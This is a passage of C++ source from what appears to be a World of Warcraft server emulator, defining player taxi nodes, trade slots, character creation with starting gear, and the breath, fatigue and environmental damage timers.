CHAR_CUSTOMIZE_FLAG_RACE = 0x00100000 // name, gender, race, etc...
};
// corpse reclaim times
#define DEATH_EXPIRE_STEP (5*MINUTE)
#define MAX_DEATH_COUNT 3
static uint32 copseReclaimDelay[MAX_DEATH_COUNT] = { 30, 60, 120 };
//== PlayerTaxi ================================================
PlayerTaxi::PlayerTaxi()
{
// Taxi nodes
memset(m_taximask, 0, sizeof(m_taximask));
}
void PlayerTaxi::InitTaxiNodesForLevel(uint32 race, uint32 chrClass, uint32 level)
{
// class specific initial known nodes
switch(chrClass)
{
case CLASS_DEATH_KNIGHT:
{
for(int i = 0; i < TaxiMaskSize; ++i)
m_taximask[i] |= sOldContinentsNodesMask[i];
break;
}
}
// race specific initial known nodes: capital and taxi hub masks
switch(race)
{
case RACE_HUMAN: SetTaximaskNode(2); break; // Human
case RACE_ORC: SetTaximaskNode(23); break; // Orc
case RACE_DWARF: SetTaximaskNode(6); break; // Dwarf
case RACE_NIGHTELF: SetTaximaskNode(26);
SetTaximaskNode(27); break; // Night Elf
case RACE_UNDEAD: SetTaximaskNode(11); break; // Undead
case RACE_TAUREN: SetTaximaskNode(22); break; // Tauren
case RACE_GNOME: SetTaximaskNode(6); break; // Gnome
case RACE_TROLL: SetTaximaskNode(23); break; // Troll
case RACE_BLOODELF: SetTaximaskNode(82); break; // Blood Elf
case RACE_DRAENEI: SetTaximaskNode(94); break; // Draenei
}
// new continent starting masks (It will be accessible only at new map)
switch(Player::TeamForRace(race))
{
case ALLIANCE: SetTaximaskNode(100); break;
case HORDE: SetTaximaskNode(99); break;
default: break;
}
// level dependent taxi hubs
if (level>=68)
SetTaximaskNode(213); //Shattered Sun Staging Area
}
void PlayerTaxi::LoadTaxiMask(const char* data)
{
Tokens tokens(data, ' ');
int index;
Tokens::iterator iter;
for (iter = tokens.begin(), index = 0;
(index < TaxiMaskSize) && (iter != tokens.end()); ++iter, ++index)
{
// load and set bits only for existing taxi nodes
m_taximask[index] = sTaxiNodesMask[index] & uint32(atol(*iter));
}
}
void PlayerTaxi::AppendTaximaskTo( ByteBuffer& data, bool all )
{
if (all)
{
for (uint8 i=0; i<TaxiMaskSize; ++i)
data << uint32(sTaxiNodesMask[i]); // all existing nodes
}
else
{
for (uint8 i=0; i<TaxiMaskSize; ++i)
data << uint32(m_taximask[i]); // known nodes
}
}
bool PlayerTaxi::LoadTaxiDestinationsFromString(const std::string& values, Team team)
{
ClearTaxiDestinations();
Tokens tokens(values, ' ');
for(Tokens::iterator iter = tokens.begin(); iter != tokens.end(); ++iter)
{
uint32 node = uint32(atol(*iter));
AddTaxiDestination(node);
}
if (m_TaxiDestinations.empty())
return true;
// Check integrity
if (m_TaxiDestinations.size() < 2)
return false;
for(size_t i = 1; i < m_TaxiDestinations.size(); ++i)
{
uint32 cost;
uint32 path;
sObjectMgr.GetTaxiPath(m_TaxiDestinations[i-1],m_TaxiDestinations[i], path, cost);
if (!path)
return false;
}
// can't load taxi path without mount set (quest taxi path?)
if (!sObjectMgr.GetTaxiMountDisplayId(GetTaxiSource(), team, true))
return false;
return true;
}
std::string PlayerTaxi::SaveTaxiDestinationsToString()
{
if (m_TaxiDestinations.empty())
return "";
std::ostringstream ss;
for(size_t i=0; i < m_TaxiDestinations.size(); ++i)
ss << m_TaxiDestinations[i] << " ";
return ss.str();
}
uint32 PlayerTaxi::GetCurrentTaxiPath() const
{
if (m_TaxiDestinations.size() < 2)
return 0;
uint32 path;
uint32 cost;
sObjectMgr.GetTaxiPath(m_TaxiDestinations[0],m_TaxiDestinations[1],path,cost);
return path;
}
std::ostringstream& operator<< (std::ostringstream& ss, PlayerTaxi const& taxi)
{
for(int i = 0; i < TaxiMaskSize; ++i)
ss << taxi.m_taximask[i] << " ";
return ss;
}
//== TradeData =================================================
TradeData* TradeData::GetTraderData() const
{
return m_trader->GetTradeData();
}
Item* TradeData::GetItem( TradeSlots slot ) const
{
return m_items[slot] ? m_player->GetItemByGuid(m_items[slot]) : NULL;
}
bool TradeData::HasItem( ObjectGuid item_guid ) const
{
for(int i = 0; i < TRADE_SLOT_COUNT; ++i)
if (m_items[i] == item_guid)
return true;
return false;
}
Item* TradeData::GetSpellCastItem() const
{
return m_spellCastItem ? m_player->GetItemByGuid(m_spellCastItem) : NULL;
}
void TradeData::SetItem( TradeSlots slot, Item* item )
{
ObjectGuid itemGuid = item ? item->GetObjectGuid() : ObjectGuid();
if (m_items[slot] == itemGuid)
return;
m_items[slot] = itemGuid;
SetAccepted(false);
GetTraderData()->SetAccepted(false);
Update();
// need remove possible trader spell applied to changed item
if (slot == TRADE_SLOT_NONTRADED)
GetTraderData()->SetSpell(0);
// need remove possible player spell applied (possible move reagent)
SetSpell(0);
}
void TradeData::SetSpell( uint32 spell_id, Item* castItem /*= NULL*/ )
{
ObjectGuid itemGuid = castItem ? castItem->GetObjectGuid() : ObjectGuid();
if (m_spell == spell_id && m_spellCastItem == itemGuid)
return;
m_spell = spell_id;
m_spellCastItem = itemGuid;
SetAccepted(false);
GetTraderData()->SetAccepted(false);
Update(true); // send spell info to item owner
Update(false); // send spell info to caster self
}
void TradeData::SetMoney( uint32 money )
{
if (m_money == money)
return;
m_money = money;
SetAccepted(false);
GetTraderData()->SetAccepted(false);
Update();
}
void TradeData::Update( bool for_trader /*= true*/ )
{
if (for_trader)
m_trader->GetSession()->SendUpdateTrade(true); // player state for trader
else
m_player->GetSession()->SendUpdateTrade(false); // player state for player
}
void TradeData::SetAccepted(bool state, bool crosssend /*= false*/)
{
m_accepted = state;
if (!state)
{
if (crosssend)
m_trader->GetSession()->SendTradeStatus(TRADE_STATUS_BACK_TO_TRADE);
else
m_player->GetSession()->SendTradeStatus(TRADE_STATUS_BACK_TO_TRADE);
}
}
//== Player ====================================================
UpdateMask Player::updateVisualBits;
Player::Player (WorldSession *session): Unit(), m_mover(this), m_camera(this), m_achievementMgr(this), m_reputationMgr(this)
{
m_speakTime = 0;
m_speakCount = 0;
m_objectType |= TYPEMASK_PLAYER;
m_objectTypeId = TYPEID_PLAYER;
m_valuesCount = PLAYER_END;
SetActiveObjectState(true); // player is always active object
m_session = session;
m_ExtraFlags = 0;
if (GetSession()->GetSecurity() >= SEC_GAMEMASTER)
SetAcceptTicket(true);
// players always accept
if (GetSession()->GetSecurity() == SEC_PLAYER)
SetAcceptWhispers(true);
m_usedTalentCount = 0;
m_questRewardTalentCount = 0;
m_regenTimer = REGEN_TIME_FULL;
m_weaponChangeTimer = 0;
m_zoneUpdateId = 0;
m_zoneUpdateTimer = 0;
m_areaUpdateId = 0;
m_nextSave = sWorld.getConfig(CONFIG_UINT32_INTERVAL_SAVE);
// randomize first save time in range [CONFIG_UINT32_INTERVAL_SAVE] around [CONFIG_UINT32_INTERVAL_SAVE]
// this must help in case next save after mass player load after server startup
m_nextSave = urand(m_nextSave/2,m_nextSave*3/2);
clearResurrectRequestData();
memset(m_items, 0, sizeof(Item*)*PLAYER_SLOTS_COUNT);
m_social = NULL;
// group is initialized in the reference constructor
SetGroupInvite(NULL);
m_groupUpdateMask = 0;
m_auraUpdateMask = 0;
duel = NULL;
m_GuildIdInvited = 0;
m_ArenaTeamIdInvited = 0;
m_atLoginFlags = AT_LOGIN_NONE;
mSemaphoreTeleport_Near = false;
mSemaphoreTeleport_Far = false;
m_DelayedOperations = 0;
m_bCanDelayTeleport = false;
m_bHasDelayedTeleport = false;
m_bHasBeenAliveAtDelayedTeleport = true; // overwrite always at setup teleport data, so not used infact
m_teleport_options = 0;
m_trade = NULL;
m_cinematic = 0;
PlayerTalkClass = new PlayerMenu( GetSession() );
m_currentBuybackSlot = BUYBACK_SLOT_START;
m_DailyQuestChanged = false;
m_WeeklyQuestChanged = false;
for (int i=0; i<MAX_TIMERS; ++i)
m_MirrorTimer[i] = DISABLED_MIRROR_TIMER;
m_MirrorTimerFlags = UNDERWATER_NONE;
m_MirrorTimerFlagsLast = UNDERWATER_NONE;
m_isInWater = false;
m_drunkTimer = 0;
m_drunk = 0;
m_restTime = 0;
m_deathTimer = 0;
m_deathExpireTime = 0;
m_swingErrorMsg = 0;
m_DetectInvTimer = 1*IN_MILLISECONDS;
for (int j=0; j < PLAYER_MAX_BATTLEGROUND_QUEUES; ++j)
{
m_bgBattleGroundQueueID[j].bgQueueTypeId = BATTLEGROUND_QUEUE_NONE;
m_bgBattleGroundQueueID[j].invitedToInstance = 0;
}
m_logintime = time(NULL);
m_Last_tick = m_logintime;
m_WeaponProficiency = 0;
m_ArmorProficiency = 0;
m_canParry = false;
m_canBlock = false;
m_canDualWield = false;
m_canTitanGrip = false;
m_ammoDPS = 0.0f;
m_temporaryUnsummonedPetNumber.clear();
////////////////////Rest System/////////////////////
time_inn_enter=0;
inn_trigger_id=0;
m_rest_bonus=0;
rest_type=REST_TYPE_NO;
////////////////////Rest System/////////////////////
m_mailsUpdated = false;
unReadMails = 0;
m_nextMailDelivereTime = 0;
m_resetTalentsCost = 0;
m_resetTalentsTime = 0;
m_itemUpdateQueueBlocked = false;
for (int i = 0; i < MAX_MOVE_TYPE; ++i)
m_forced_speed_changes[i] = 0;
m_stableSlots = 0;
/////////////////// Instance System /////////////////////
m_HomebindTimer = 0;
m_InstanceValid = true;
m_Difficulty = 0;
SetDungeonDifficulty(DUNGEON_DIFFICULTY_NORMAL);
SetRaidDifficulty(RAID_DIFFICULTY_10MAN_NORMAL);
m_lastPotionId = 0;
m_activeSpec = 0;
m_specsCount = 1;
for (int i = 0; i < BASEMOD_END; ++i)
{
m_auraBaseMod[i][FLAT_MOD] = 0.0f;
m_auraBaseMod[i][PCT_MOD] = 1.0f;
}
for (int i = 0; i < MAX_COMBAT_RATING; ++i)
m_baseRatingValue[i] = 0;
m_baseSpellPower = 0;
m_baseFeralAP = 0;
m_baseManaRegen = 0;
m_baseHealthRegen = 0;
m_armorPenetrationPct = 0.0f;
m_spellPenetrationItemMod = 0;
// Honor System
m_lastHonorUpdateTime = time(NULL);
m_IsBGRandomWinner = false;
// Player summoning
m_summon_expire = 0;
m_summon_mapid = 0;
m_summon_x = 0.0f;
m_summon_y = 0.0f;
m_summon_z = 0.0f;
m_contestedPvPTimer = 0;
m_declinedname = NULL;
m_runes = NULL;
m_lastFallTime = 0;
m_lastFallZ = 0;
// Refer-A-Friend
m_GrantableLevelsCount = 0;
// Playerbot mod:
m_playerbotAI = NULL;
m_playerbotMgr = NULL;
m_anticheat = new AntiCheat(this);
SetPendingBind(NULL, 0);
m_LFGState = new LFGPlayerState(this);
m_cachedGS = 0;
}
Player::~Player ()
{
CleanupsBeforeDelete();
// it must be unloaded already in PlayerLogout and accessed only for loggined player
//m_social = NULL;
// Note: buy back item already deleted from DB when player was saved
for(int i = 0; i < PLAYER_SLOTS_COUNT; ++i)
{
if (m_items[i])
delete m_items[i];
}
CleanupChannels();
//all mailed items should be deleted, also all mail should be deallocated
for (PlayerMails::const_iterator itr = m_mail.begin(); itr != m_mail.end();++itr)
delete *itr;
for (ItemMap::const_iterator iter = mMitems.begin(); iter != mMitems.end(); ++iter)
delete iter->second; //if item is duplicated... then server may crash ... but that item should be deallocated
delete PlayerTalkClass;
if (m_transport)
m_transport->RemovePassenger(this);
for(size_t x = 0; x < ItemSetEff.size(); x++)
if (ItemSetEff[x])
delete ItemSetEff[x];
// clean up player-instance binds, may unload some instance saves
for(uint8 i = 0; i < MAX_DIFFICULTY; ++i)
for(BoundInstancesMap::iterator itr = m_boundInstances[i].begin(); itr != m_boundInstances[i].end(); ++itr)
itr->second.state->RemovePlayer(this);
delete m_declinedname;
delete m_runes;
delete m_anticheat;
delete m_LFGState;
// Playerbot mod
if (m_playerbotAI)
{
delete m_playerbotAI;
m_playerbotAI = NULL;
}
if (m_playerbotMgr)
{
delete m_playerbotMgr;
m_playerbotMgr = NULL;
}
}
void Player::CleanupsBeforeDelete()
{
if (m_uint32Values) // only for fully created Object
{
TradeCancel(false);
DuelComplete(DUEL_INTERUPTED);
}
// notify zone scripts for player logout
sWorldPvPMgr.HandlePlayerLeaveZone(this, m_zoneUpdateId);
Unit::CleanupsBeforeDelete();
}
bool Player::Create( uint32 guidlow, const std::string& name, uint8 race, uint8 class_, uint8 gender, uint8 skin, uint8 face, uint8 hairStyle, uint8 hairColor, uint8 facialHair, uint8 /*outfitId */)
{
//FIXME: outfitId not used in player creating
Object::_Create(ObjectGuid(HIGHGUID_PLAYER, guidlow));
m_name = name;
PlayerInfo const* info = sObjectMgr.GetPlayerInfo(race, class_);
if(!info)
{
sLog.outError("Player have incorrect race/class pair. Can't be loaded.");
return false;
}
ChrClassesEntry const* cEntry = sChrClassesStore.LookupEntry(class_);
if(!cEntry)
{
sLog.outError("Class %u not found in DBC (Wrong DBC files?)",class_);
return false;
}
// player store gender in single bit
if (gender != uint8(GENDER_MALE) && gender != uint8(GENDER_FEMALE))
{
sLog.outError("Invalid gender %u at player creating", uint32(gender));
return false;
}
for (int i = 0; i < PLAYER_SLOTS_COUNT; ++i)
m_items[i] = NULL;
SetLocationMapId(info->mapId);
Relocate(info->positionX,info->positionY,info->positionZ, info->orientation);
setFactionForRace(race);
SetMap(sMapMgr.CreateMap(info->mapId, this));
uint8 powertype = cEntry->powerType;
SetByteValue(UNIT_FIELD_BYTES_0, 0, race);
SetByteValue(UNIT_FIELD_BYTES_0, 1, class_);
SetByteValue(UNIT_FIELD_BYTES_0, 2, gender);
SetByteValue(UNIT_FIELD_BYTES_0, 3, powertype);
InitDisplayIds(); // model, scale and model data
SetByteFlag(UNIT_FIELD_BYTES_2, 1, UNIT_BYTE2_FLAG_PVP );
SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_PVP_ATTACKABLE );
SetFlag(UNIT_FIELD_FLAGS_2, UNIT_FLAG2_REGENERATE_POWER);
SetFloatValue(UNIT_MOD_CAST_SPEED, 1.0f); // fix cast time showed in spell tooltip on client
SetFloatValue(UNIT_FIELD_HOVERHEIGHT, 1.0f); // default for players in 3.0.3
SetInt32Value(PLAYER_FIELD_WATCHED_FACTION_INDEX, -1); // -1 is default value
SetByteValue(PLAYER_BYTES, 0, skin);
SetByteValue(PLAYER_BYTES, 1, face);
SetByteValue(PLAYER_BYTES, 2, hairStyle);
SetByteValue(PLAYER_BYTES, 3, hairColor);
SetByteValue(PLAYER_BYTES_2, 0, facialHair);
LoadAccountLinkedState();
if (GetAccountLinkedState() != STATE_NOT_LINKED)
SetByteValue(PLAYER_BYTES_2, 3, 0x06); // rest state = refer-a-friend
else
SetByteValue(PLAYER_BYTES_2, 3, 0x02); // rest state = normal
SetUInt16Value(PLAYER_BYTES_3, 0, gender); // only GENDER_MALE/GENDER_FEMALE (1 bit) allowed, drunk state = 0
SetByteValue(PLAYER_BYTES_3, 3, 0); // BattlefieldArenaFaction (0 or 1)
SetUInt32Value( PLAYER_GUILDID, 0 );
SetUInt32Value( PLAYER_GUILDRANK, 0 );
SetUInt32Value( PLAYER_GUILD_TIMESTAMP, 0 );
for(int i = 0; i < KNOWN_TITLES_SIZE; ++i)
SetUInt64Value(PLAYER__FIELD_KNOWN_TITLES + i, 0); // 0=disabled
SetUInt32Value( PLAYER_CHOSEN_TITLE, 0 );
SetUInt32Value( PLAYER_FIELD_KILLS, 0 );
SetUInt32Value( PLAYER_FIELD_LIFETIME_HONORBALE_KILLS, 0 );
SetUInt32Value( PLAYER_FIELD_TODAY_CONTRIBUTION, 0 );
SetUInt32Value( PLAYER_FIELD_YESTERDAY_CONTRIBUTION, 0 );
// set starting level
uint32 start_level = getClass() != CLASS_DEATH_KNIGHT
? sWorld.getConfig(CONFIG_UINT32_START_PLAYER_LEVEL)
: sWorld.getConfig(CONFIG_UINT32_START_HEROIC_PLAYER_LEVEL);
if (GetSession()->GetSecurity() >= SEC_MODERATOR)
{
uint32 gm_level = sWorld.getConfig(CONFIG_UINT32_START_GM_LEVEL);
if (gm_level > start_level)
start_level = gm_level;
}
SetUInt32Value(UNIT_FIELD_LEVEL, start_level);
InitRunes();
SetUInt32Value (PLAYER_FIELD_COINAGE, sWorld.getConfig(CONFIG_UINT32_START_PLAYER_MONEY));
SetHonorPoints(sWorld.getConfig(CONFIG_UINT32_START_HONOR_POINTS));
SetArenaPoints(sWorld.getConfig(CONFIG_UINT32_START_ARENA_POINTS));
// Played time
m_Last_tick = time(NULL);
m_Played_time[PLAYED_TIME_TOTAL] = 0;
m_Played_time[PLAYED_TIME_LEVEL] = 0;
// base stats and related field values
InitStatsForLevel();
InitTaxiNodesForLevel();
InitGlyphsForLevel();
InitTalentForLevel();
InitPrimaryProfessions(); // to max set before any spell added
// apply original stats mods before spell loading or item equipment that call before equip _RemoveStatsMods()
UpdateMaxHealth(); // Update max Health (for add bonus from stamina)
SetHealth(GetMaxHealth());
if (getPowerType() == POWER_MANA)
{
UpdateMaxPower(POWER_MANA); // Update max Mana (for add bonus from intellect)
SetPower(POWER_MANA, GetMaxPower(POWER_MANA));
}
if (getPowerType() != POWER_MANA) // hide additional mana bar if we have no mana
{
SetPower(POWER_MANA, 0);
SetMaxPower(POWER_MANA, 0);
}
// original spells
learnDefaultSpells();
// original action bar
for (PlayerCreateInfoActions::const_iterator action_itr = info->action.begin(); action_itr != info->action.end(); ++action_itr)
addActionButton(0, action_itr->button,action_itr->action,action_itr->type);
// original items
uint32 raceClassGender = GetUInt32Value(UNIT_FIELD_BYTES_0) & 0x00FFFFFF;
CharStartOutfitEntry const* oEntry = NULL;
for (uint32 i = 1; i < sCharStartOutfitStore.GetNumRows(); ++i)
{
if (CharStartOutfitEntry const* entry = sCharStartOutfitStore.LookupEntry(i))
{
if (entry->RaceClassGender == raceClassGender)
{
oEntry = entry;
break;
}
}
}
if (oEntry)
{
for(int j = 0; j < MAX_OUTFIT_ITEMS; ++j)
{
if (oEntry->ItemId[j] <= 0)
continue;
uint32 item_id = oEntry->ItemId[j];
// just skip, reported in ObjectMgr::LoadItemPrototypes
ItemPrototype const* iProto = ObjectMgr::GetItemPrototype(item_id);
if(!iProto)
continue;
// BuyCount by default
int32 count = iProto->BuyCount;
// special amount for foor/drink
if (iProto->Class==ITEM_CLASS_CONSUMABLE && iProto->SubClass==ITEM_SUBCLASS_FOOD)
{
switch(iProto->Spells[0].SpellCategory)
{
case 11: // food
count = getClass()==CLASS_DEATH_KNIGHT ? 10 : 4;
break;
case 59: // drink
count = 2;
break;
}
if (iProto->Stackable < count)
count = iProto->Stackable;
}
StoreNewItemInBestSlots(item_id, count);
}
}
for (PlayerCreateInfoItems::const_iterator item_id_itr = info->item.begin(); item_id_itr != info->item.end(); ++item_id_itr)
StoreNewItemInBestSlots(item_id_itr->item_id, item_id_itr->item_amount);
// bags and main-hand weapon must equipped at this moment
// now second pass for not equipped (offhand weapon/shield if it attempt equipped before main-hand weapon)
// or ammo not equipped in special bag
for (int i = INVENTORY_SLOT_ITEM_START; i < INVENTORY_SLOT_ITEM_END; ++i)
{
if (Item* pItem = GetItemByPos(INVENTORY_SLOT_BAG_0, i))
{
uint16 eDest;
// equip offhand weapon/shield if it attempt equipped before main-hand weapon
InventoryResult msg = CanEquipItem(NULL_SLOT, eDest, pItem, false);
if (msg == EQUIP_ERR_OK)
{
RemoveItem(INVENTORY_SLOT_BAG_0, i, true);
EquipItem(eDest, pItem, true);
}
// move other items to more appropriate slots (ammo not equipped in special bag)
else
{
ItemPosCountVec sDest;
msg = CanStoreItem(NULL_BAG, NULL_SLOT, sDest, pItem, false);
if (msg == EQUIP_ERR_OK)
{
RemoveItem(INVENTORY_SLOT_BAG_0, i,true);
pItem = StoreItem( sDest, pItem, true);
}
// if this is ammo then use it
msg = CanUseAmmo(pItem->GetEntry());
if (msg == EQUIP_ERR_OK)
SetAmmo(pItem->GetEntry());
}
}
}
// all item positions resolved
return true;
}
bool Player::StoreNewItemInBestSlots(uint32 titem_id, uint32 titem_amount)
{
DEBUG_LOG("STORAGE: Creating initial item, itemId = %u, count = %u",titem_id, titem_amount);
// attempt equip by one
while(titem_amount > 0)
{
uint16 eDest;
uint8 msg = CanEquipNewItem( NULL_SLOT, eDest, titem_id, false );
if ( msg != EQUIP_ERR_OK )
break;
EquipNewItem( eDest, titem_id, true);
AutoUnequipOffhandIfNeed();
--titem_amount;
}
if (titem_amount == 0)
return true; // equipped
// attempt store
ItemPosCountVec sDest;
// store in main bag to simplify second pass (special bags can be not equipped yet at this moment)
uint8 msg = CanStoreNewItem( INVENTORY_SLOT_BAG_0, NULL_SLOT, sDest, titem_id, titem_amount );
if ( msg == EQUIP_ERR_OK )
{
StoreNewItem( sDest, titem_id, true, Item::GenerateItemRandomPropertyId(titem_id) );
return true; // stored
}
// item can't be added
sLog.outError("STORAGE: Can't equip or store initial item %u for race %u class %u , error msg = %u",titem_id,getRace(),getClass(),msg);
return false;
}
// helper function, mainly for script side, but can be used for simple task in mangos also.
Item* Player::StoreNewItemInInventorySlot(uint32 itemEntry, uint32 amount)
{
ItemPosCountVec vDest;
uint8 msg = CanStoreNewItem(INVENTORY_SLOT_BAG_0, NULL_SLOT, vDest, itemEntry, amount);
if (msg == EQUIP_ERR_OK)
{
if (Item* pItem = StoreNewItem(vDest, itemEntry, true, Item::GenerateItemRandomPropertyId(itemEntry)))
return pItem;
}
return NULL;
}
void Player::SendMirrorTimer(MirrorTimerType Type, uint32 MaxValue, uint32 CurrentValue, int32 Regen)
{
if (int(MaxValue) == DISABLED_MIRROR_TIMER)
{
if (int(CurrentValue) != DISABLED_MIRROR_TIMER)
StopMirrorTimer(Type);
return;
}
WorldPacket data(SMSG_START_MIRROR_TIMER, (21));
data << (uint32)Type;
data << CurrentValue;
data << MaxValue;
data << Regen;
data << (uint8)0;
data << (uint32)0; // spell id
GetSession()->SendPacket( &data );
}
void Player::StopMirrorTimer(MirrorTimerType Type)
{
m_MirrorTimer[Type] = DISABLED_MIRROR_TIMER;
WorldPacket data(SMSG_STOP_MIRROR_TIMER, 4);
data << (uint32)Type;
GetSession()->SendPacket( &data );
}
uint32 Player::EnvironmentalDamage(EnviromentalDamage type, uint32 damage)
{
if(!isAlive() || isGameMaster())
return 0;
// Absorb, resist some environmental damage type
uint32 absorb = 0;
uint32 resist = 0;
if (type == DAMAGE_LAVA)
CalculateDamageAbsorbAndResist(this, SPELL_SCHOOL_MASK_FIRE, DIRECT_DAMAGE, damage, &absorb, &resist);
else if (type == DAMAGE_SLIME)
CalculateDamageAbsorbAndResist(this, SPELL_SCHOOL_MASK_NATURE, DIRECT_DAMAGE, damage, &absorb, &resist);
damage-=absorb+resist;
DealDamageMods(this,damage,&absorb);
WorldPacket data(SMSG_ENVIRONMENTALDAMAGELOG, (21));
data << GetObjectGuid();
data << uint8(type!=DAMAGE_FALL_TO_VOID ? type : DAMAGE_FALL);
data << uint32(damage);
data << uint32(absorb);
data << uint32(resist);
SendMessageToSet(&data, true);
uint32 final_damage = DealDamage(this, damage, NULL, SELF_DAMAGE, SPELL_SCHOOL_MASK_NORMAL, NULL, false);
if(!isAlive())
{
if (type==DAMAGE_FALL) // DealDamage not apply item durability loss at self damage
{
DEBUG_LOG("We are fall to death, loosing 10 percents durability");
DurabilityLossAll(0.10f,false);
// durability lost message
WorldPacket data2(SMSG_DURABILITY_DAMAGE_DEATH, 0);
GetSession()->SendPacket(&data2);
}
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_DEATHS_FROM, 1, type);
}
return final_damage;
}
int32 Player::getMaxTimer(MirrorTimerType timer)
{
switch (timer)
{
case FATIGUE_TIMER:
if (GetSession()->GetSecurity() >= (AccountTypes)sWorld.getConfig(CONFIG_UINT32_TIMERBAR_FATIGUE_GMLEVEL))
return DISABLED_MIRROR_TIMER;
return sWorld.getConfig(CONFIG_UINT32_TIMERBAR_FATIGUE_MAX)*IN_MILLISECONDS;
case BREATH_TIMER:
{
if (!isAlive() || HasAuraType(SPELL_AURA_WATER_BREATHING) ||
GetSession()->GetSecurity() >= (AccountTypes)sWorld.getConfig(CONFIG_UINT32_TIMERBAR_BREATH_GMLEVEL))
return DISABLED_MIRROR_TIMER;
int32 UnderWaterTime = sWorld.getConfig(CONFIG_UINT32_TIMERBAR_BREATH_MAX)*IN_MILLISECONDS;
AuraList const& mModWaterBreathing = GetAurasByType(SPELL_AURA_MOD_WATER_BREATHING);
for(AuraList::const_iterator i = mModWaterBreathing.begin(); i != mModWaterBreathing.end(); ++i)
UnderWaterTime = uint32(UnderWaterTime * (100.0f + (*i)->GetModifier()->m_amount) / 100.0f);
return UnderWaterTime;
}
case FIRE_TIMER:
{
if (!isAlive() || GetSession()->GetSecurity() >= (AccountTypes)sWorld.getConfig(CONFIG_UINT32_TIMERBAR_FIRE_GMLEVEL))
return DISABLED_MIRROR_TIMER;
return sWorld.getConfig(CONFIG_UINT32_TIMERBAR_FIRE_MAX)*IN_MILLISECONDS;
}
default:
return 0;
}
return 0;
}
void Player::UpdateMirrorTimers()
{
// Desync flags for update on next HandleDrowning
if (m_MirrorTimerFlags)
m_MirrorTimerFlagsLast = ~m_MirrorTimerFlags;
}
void Player::HandleDrowning(uint32 time_diff)
{
if (!m_MirrorTimerFlags)
return;
// In water
if (m_MirrorTimerFlags & UNDERWATER_INWATER)
{
// Breath timer not activated - activate it
if (m_MirrorTimer[BREATH_TIMER] == DISABLED_MIRROR_TIMER)
{
m_MirrorTimer[BREATH_TIMER] = getMaxTimer(BREATH_TIMER);
SendMirrorTimer(BREATH_TIMER, m_MirrorTimer[BREATH_TIMER], m_MirrorTimer[BREATH_TIMER], -1);
}
else // If activated - do tick
{
m_MirrorTimer[BREATH_TIMER]-=time_diff;
// Timer limit - need deal damage
if (m_MirrorTimer[BREATH_TIMER] < 0)
{
m_MirrorTimer[BREATH_TIMER] += 2 * IN_MILLISECONDS;
// Calculate and deal damage
// TODO: Check this formula
uint32 damage = GetMaxHealth() / 5 + urand(0, getLevel()-1);
EnvironmentalDamage(DAMAGE_DROWNING, damage);
}
else if (!(m_MirrorTimerFlagsLast & UNDERWATER_INWATER)) // Update time in client if need
SendMirrorTimer(BREATH_TIMER, getMaxTimer(BREATH_TIMER), m_MirrorTimer[BREATH_TIMER], -1);
}
}
else if (m_MirrorTimer[BREATH_TIMER] != DISABLED_MIRROR_TIMER) // Regen timer
{
int32 UnderWaterTime = getMaxTimer(BREATH_TIMER);
// Need breath regen
m_MirrorTimer[BREATH_TIMER]+=10*time_diff;
if (m_MirrorTimer[BREATH_TIMER] >= UnderWaterTime || !isAlive())
StopMirrorTimer(BREATH_TIMER);
else if (m_MirrorTimerFlagsLast & UNDERWATER_INWATER)
SendMirrorTimer(BREATH_TIMER, UnderWaterTime, m_MirrorTimer[BREATH_TIMER], 10);
}
// In dark water
if (m_MirrorTimerFlags & UNDERWATER_INDARKWATER)
{
// Fatigue timer not activated - activate it
if (m_MirrorTimer[FATIGUE_TIMER] == DISABLED_MIRROR_TIMER)
{
m_MirrorTimer[FATIGUE_TIMER] = getMaxTimer(FATIGUE_TIMER);
SendMirrorTimer(FATIGUE_TIMER, m_MirrorTimer[FATIGUE_TIMER], m_MirrorTimer[FATIGUE_TIMER], -1);
}
else
{
m_MirrorTimer[FATIGUE_TIMER]-=time_diff;
// Timer limit - need deal damage or teleport ghost to graveyard
if (m_MirrorTimer[FATIGUE_TIMER] < 0)
{
m_MirrorTimer[FATIGUE_TIMER] += 2 * IN_MILLISECONDS;
if (isAlive()) // Calculate and deal damage
{
uint32 damage = GetMaxHealth() / 5 + urand(0, getLevel()-1);
EnvironmentalDamage(DAMAGE_EXHAUSTED, damage);
}
else if (HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_GHOST)) // Teleport ghost to graveyard
RepopAtGraveyard();
}
else if (!(m_MirrorTimerFlagsLast & UNDERWATER_INDARKWATER))
SendMirrorTimer(FATIGUE_TIMER, getMaxTimer(FATIGUE_TIMER), m_MirrorTimer[FATIGUE_TIMER], -1);
}
}
else if (m_MirrorTimer[FATIGUE_TIMER] != DISABLED_MIRROR_TIMER) // Regen timer
{
int32 DarkWaterTime = getMaxTimer(FATIGUE_TIMER);
m_MirrorTimer[FATIGUE_TIMER]+=10*time_diff;
if (m_MirrorTimer[FATIGUE_TIMER] >= DarkWaterTime || !isAlive())
StopMirrorTimer(FATIGUE_TIMER);
else if (m_MirrorTimerFlagsLast & UNDERWATER_INDARKWATER)
SendMirrorTimer(FATIGUE_TIMER, DarkWaterTime, m_MirrorTimer[FATIGUE_TIMER], 10);
}
if (m_MirrorTimerFlags & (UNDERWATER_INLAVA|UNDERWATER_INSLIME))
{
// Breath timer not activated - activate it
if (m_MirrorTimer[FIRE_TIMER] == DISABLED_MIRROR_TIMER)
m_MirrorTimer[FIRE_TIMER] = getMaxTimer(FIRE_TIMER);
else
{
m_MirrorTimer[FIRE_TIMER]-=time_diff;
if (m_MirrorTimer[FIRE_TIMER] < 0)
{
m_MirrorTimer[FIRE_TIMER] += 2 * IN_MILLISECONDS;
// Calculate and deal damage
// TODO: Check this formula
uint32 damage = urand(600, 700);
if (m_MirrorTimerFlags&UNDERWATER_INLAVA)
EnvironmentalDamage(DAMAGE_LAVA, damage);
// need to skip Slime damage in Undercity and Ruins of Lordaeron arena
// maybe someone can find better way to handle environmental damage
else if (m_zoneUpdateId != 1497 && m_zoneUpdateId != 3968)
EnvironmentalDamage(DAMAGE_SLIME, damage);
}
}
}
else
m_MirrorTimer[FIRE_TIMER] = DISABLED_MIRROR_TIMER;
// Recheck timers flag
m_MirrorTimerFlags&=~UNDERWATER_EXIST_TIMERS;
for (int i = 0; i< MAX_TIMERS; ++i)
if (m_MirrorTimer[i]!=DISABLED_MIRROR_TIMER)
{
m_MirrorTimerFlags|=UNDERWATER_EXIST_TIMERS;
break;
}
m_MirrorTimerFlagsLast = m_MirrorTimerFlags;
}
